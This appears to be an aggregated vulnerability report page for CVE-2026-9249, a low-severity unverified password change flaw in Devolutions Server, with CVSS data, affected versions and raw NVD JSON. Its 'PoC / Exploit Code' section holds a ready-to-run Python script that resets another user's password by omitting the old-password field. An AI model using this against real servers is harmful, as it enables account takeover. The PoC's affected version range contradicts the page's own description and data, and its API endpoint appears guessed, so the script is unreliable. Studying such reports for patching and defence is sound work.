Security Vulnerability Report
中文
CVE-2026-9249 CVSS 3.1 LOW

CVE-2026-9249

Published: 2026-05-22 16:16:26
Last Modified: 2026-05-22 19:01:28

Description

Unverified password change in Devolutions Server allows an attacker to change a user's password without providing the previous one via a crafted password change request. This issue affects : * Devolutions Server 2026.1.6.0 through 2026.1.16.0 * Devolutions Server 2025.3.20.0 and earlier

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
Devolutions Server 2026.1.6.0 - 2026.1.16.0
Devolutions Server 2025.3.20.0 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-9249 PoC - Unverified Password Change in Devolutions Server # Target: Devolutions Server < 2026.1.16.0 or < 2025.3.21.0 def exploit_password_change(target_url, session_token, target_user_id, new_password): """ Exploit unverified password change vulnerability Args: target_url: Base URL of Devolutions Server session_token: Valid authentication token (low privilege sufficient) target_user_id: ID of the user whose password to change new_password: New password to set Returns: Response from the server """ endpoint = f"{target_url}/api/v1/users/{target_user_id}/password" headers = { 'Authorization': f'Bearer {session_token}', 'Content-Type': 'application/json' } # Crafted request without old password verification payload = { 'newPassword': new_password, # Missing 'oldPassword' field - vulnerability exploitation } response = requests.post(endpoint, headers=headers, json=payload) return response # Example usage if __name__ == "__main__": target = "https://vulnerable-server.local" token = "attacker_low_privilege_token" target_uid = 12345 new_pwd = "P@ssw0rd123!" result = exploit_password_change(target, token, target_uid, new_pwd) print(f"Status: {result.status_code}") print(f"Response: {result.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9249", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.967", "lastModified": "2026-05-22T19:01:28.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unverified password change in Devolutions Server allows an attacker to change a user's password without providing the previous one via a crafted password change request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}